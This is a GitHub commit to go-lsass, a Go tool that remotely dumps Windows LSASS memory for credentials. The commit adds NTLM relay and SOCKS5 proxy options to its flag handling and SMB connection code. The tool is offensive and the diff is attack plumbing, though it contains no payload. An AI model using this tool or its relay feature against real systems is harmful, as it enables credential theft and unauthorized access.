Skip to content

Commit

Permalink
Updated version of go-smb library to add support for NTLM relaying an…
Browse files Browse the repository at this point in the history
…d to establish connection via an upstream SOCKS5 proxy.
  • Loading branch information
jfjallid committed Dec 10, 2023
1 parent d35e9e1 commit 410ffa4
Show file tree
Hide file tree
Showing 4 changed files with 104 additions and 43 deletions.
13 changes: 10 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,8 @@
Package go-lsass is a tool built to dump the memory of the LSASS process
remotely by uploading a local LSASS dumper, executing it as a service and then
retrieve the dump file using SMB. It is built on top of the library
https://github.com/jfjallid/go-smb and is designed to primarily work with the
LSASS dumper https://github.com/jfjallid/processdumper.
[go-smb](https://github.com/jfjallid/go-smb) and is designed to primarily work with the
[LSASS dumper](https://github.com/jfjallid/processdumper).

**NOTE** that the LSASS dumper utility is not included in this repo but has to be
downloaded, compiled and then included by the --dumper flag or placed in the
Expand All @@ -23,10 +23,17 @@ options:
-d, --domain Domain name to use for login
-u, --user Username
-p, --pass Password
-n, --no-pass Disable password prompt and send no credentials
--hash Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
-n, --null Attempt null session authentication
-t, --timeout Dial timeout in seconds (default 5)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
--cleanup Perform a cleanup of service binary, service, and dumpfile
--dumper <path> Path to local lsass dump utility (default pdumpsvc.exe)
--service <name> Name of service that will be created to run the lsass dumper (default MiscSVC)
Expand Down
4 changes: 3 additions & 1 deletion go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,14 @@ module github.com/jfjallid/go-lsass
go 1.19

require (
github.com/jfjallid/go-smb v0.2.8
github.com/jfjallid/go-smb v0.3.0
github.com/jfjallid/golog v0.3.3
golang.org/x/net v0.6.0
golang.org/x/term v0.5.0
)

require (
github.com/jfjallid/ber v1.1.0 // indirect
golang.org/x/crypto v0.6.0 // indirect
golang.org/x/sys v0.5.0 // indirect
)
8 changes: 6 additions & 2 deletions go.sum
Original file line number Diff line number Diff line change
@@ -1,9 +1,13 @@
github.com/jfjallid/go-smb v0.2.8 h1:ZvQWVAtfLJuNQW94Pa5tKybowb3s+hVfKvt6m38aTQE=
github.com/jfjallid/go-smb v0.2.8/go.mod h1:Kew0ysf3f+GtnBzpU7jiZmZ4ohp4ZHE7z2PMnXXG7IM=
github.com/jfjallid/ber v1.1.0 h1:hVaxa1K4vBwh5Arvc70uhatZephEgJpRTHKQCf4u7OA=
github.com/jfjallid/ber v1.1.0/go.mod h1:EJC7yARA25HsUp0G498XpiJahwGx+T+HKh2LHZ/QslA=
github.com/jfjallid/go-smb v0.3.0 h1:PBm0FMtZ4tkDe41DdXrgOt8QXgKUvfcWUcQkKQku2K4=
github.com/jfjallid/go-smb v0.3.0/go.mod h1:ImsLHX4xjKkSbKottJO9+qyhDo/b72QiaXh2n6E6ZTY=
github.com/jfjallid/golog v0.3.3 h1:dY6qf8wTxJ9OwBPVTadVRDmt/6MVXSWwXrxaGMMyXsU=
github.com/jfjallid/golog v0.3.3/go.mod h1:19Q/zg5OgPPd0xhFllokPnMzthzhFPZmiAGAokE7k58=
golang.org/x/crypto v0.6.0 h1:qfktjS5LUO+fFKeJXZ+ikTRijMmljikvG68fpMMruSc=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/net v0.6.0 h1:L4ZwwTvKW9gr0ZMS1yrHD9GZhIuVjOBBnaKH+SPQK0Q=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY=
Expand Down
122 changes: 85 additions & 37 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ import (

rundebug "runtime/debug"

"golang.org/x/net/proxy"
"golang.org/x/term"

"github.com/jfjallid/go-smb/smb"
Expand All @@ -39,7 +40,7 @@ import (
)

var log = golog.Get("")
var release string = "0.1.1"
var release string = "0.2.0"
var bind *dcerpc.ServiceBind
var session *smb.Connection

Expand Down Expand Up @@ -171,10 +172,17 @@ var helpMsg = `
-d, --domain Domain name to use for login
-u, --user Username
-p, --pass Password
-n, --no-pass Disable password prompt and send no credentials
--hash Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
-n, --null Attempt null session authentication
-t, --timeout Dial timeout in seconds (default 5)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
--cleanup Perform a cleanup of service binary, service, and dumpfile
--dumper <path> Path to local lsass dump utility (default pdumpsvc.exe)
--service <name> Name of service that will be created to run the lsass dumper (default MiscSVC)
Expand All @@ -191,9 +199,9 @@ var helpMsg = `
`

func main() {
var host, username, password, hash, domain, serviceName, dumper, svcBinaryName, svcBinaryPath, dumpFileName, dumpDir, outFile string
var port, dialTimeout int
var debug, noEnc, forceSMB2, localUser, nullSession, version, runCleanup, verbose bool
var host, username, password, hash, domain, serviceName, dumper, svcBinaryName, svcBinaryPath, dumpFileName, dumpDir, outFile, socksIP string
var port, dialTimeout, socksPort, relayPort int
var debug, noEnc, forceSMB2, localUser, version, runCleanup, verbose, relay, noPass bool
var err error
var hashBytes []byte

Expand Down Expand Up @@ -229,24 +237,33 @@ func main() {
flag.StringVar(&dumpFileName, "dumpfile", "misc.log", "")
flag.StringVar(&outFile, "output", "lsass.dmp", "")
flag.StringVar(&dumpDir, "dumpdir", "C:\\windows\\", "")
flag.BoolVar(&relay, "relay", false, "")
flag.IntVar(&relayPort, "relay-port", 445, "")
flag.StringVar(&socksIP, "socks-host", "", "")
flag.IntVar(&socksPort, "socks-port", 1080, "")
flag.BoolVar(&noPass, "no-pass", false, "")
flag.BoolVar(&noPass, "n", false, "")

flag.Parse()

if debug {
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelDebug, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
log.SetFlags(golog.LstdFlags | golog.Lshortfile)
log.SetLogLevel(golog.LevelDebug)
} else if verbose {
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelError, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelError, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelError, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelInfo, golog.LstdFlags|golog.Lshortfile, golog.DefaultOutput, golog.DefaultErrOutput)
log.SetLogLevel(golog.LevelInfo)
} else {
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelError, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelError, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelError, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb", "smb", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/gss", "gss", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc", "dcerpc", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
golog.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", "msrrp", golog.LevelNotice, golog.LstdFlags, golog.DefaultOutput, golog.DefaultErrOutput)
}

if version {
Expand All @@ -267,6 +284,12 @@ func main() {
return
}

if socksIP != "" && isFlagSet("timeout") {
log.Errorln("When a socks proxy is specified, --timeout is not supported")
flag.Usage()
return
}

if serviceName == "" {
log.Errorln("--service argument cannot be empty")
return
Expand Down Expand Up @@ -333,43 +356,67 @@ func main() {
}
}

if (password == "") && (hashBytes == nil) {
if (username != "") && (!nullSession) {
// Check if password is already specified to be empty
if !isFlagSet("P") && !isFlagSet("pass") {
fmt.Printf("Enter password: ")
passBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
fmt.Println()
if err != nil {
log.Errorln(err)
return
}
password = string(passBytes)
if noPass {
password = ""
hashBytes = nil
} else {
if (password == "") && (hashBytes == nil) {
fmt.Printf("Enter password: ")
passBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
fmt.Println()
if err != nil {
log.Errorln(err)
return
}
password = string(passBytes)
}
}

timeout, err := time.ParseDuration(fmt.Sprintf("%ds", dialTimeout))
if err != nil {
log.Errorln(err)
return
}
options := smb.Options{
Host: host,
Port: port,
Initiator: &smb.NTLMInitiator{
User: username,
Password: password,
Hash: hashBytes,
Domain: domain,
LocalUser: localUser,
NullSession: nullSession,
EncryptionDisabled: noEnc,
User: username,
Password: password,
Hash: hashBytes,
Domain: domain,
LocalUser: localUser,
},
DisableEncryption: noEnc,
ForceSMB2: forceSMB2,
DialTimeout: timeout,
}

// Only if not using SOCKS
if socksIP == "" {
options.DialTimeout, err = time.ParseDuration(fmt.Sprintf("%ds", dialTimeout))
if err != nil {
log.Errorln(err)
return
}
}

var session *smb.Connection

if socksIP != "" {
dialSocksProxy, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%d", socksIP, socksPort), nil, proxy.Direct)
if err != nil {
log.Errorln(err)
return
}
options.ProxyDialer = dialSocksProxy
}

if relay {
options.RelayPort = relayPort
session, err = smb.NewRelayConnection(options)
} else {
session, err = smb.NewConnection(options)
}
if err != nil {
log.Criticalln(err)
return
}

session, err = smb.NewConnection(options)
if err != nil {
log.Criticalln(err)
Expand All @@ -384,9 +431,10 @@ func main() {
}

if session.IsAuthenticated {
log.Noticeln("[+] Login successful")
log.Noticef("[+] Login successful as %s\n", session.GetAuthUsername())
} else {
log.Noticeln("[-] Login failed")
return
}

if runCleanup {
Expand Down

0 comments on commit 410ffa4

Please sign in to comment.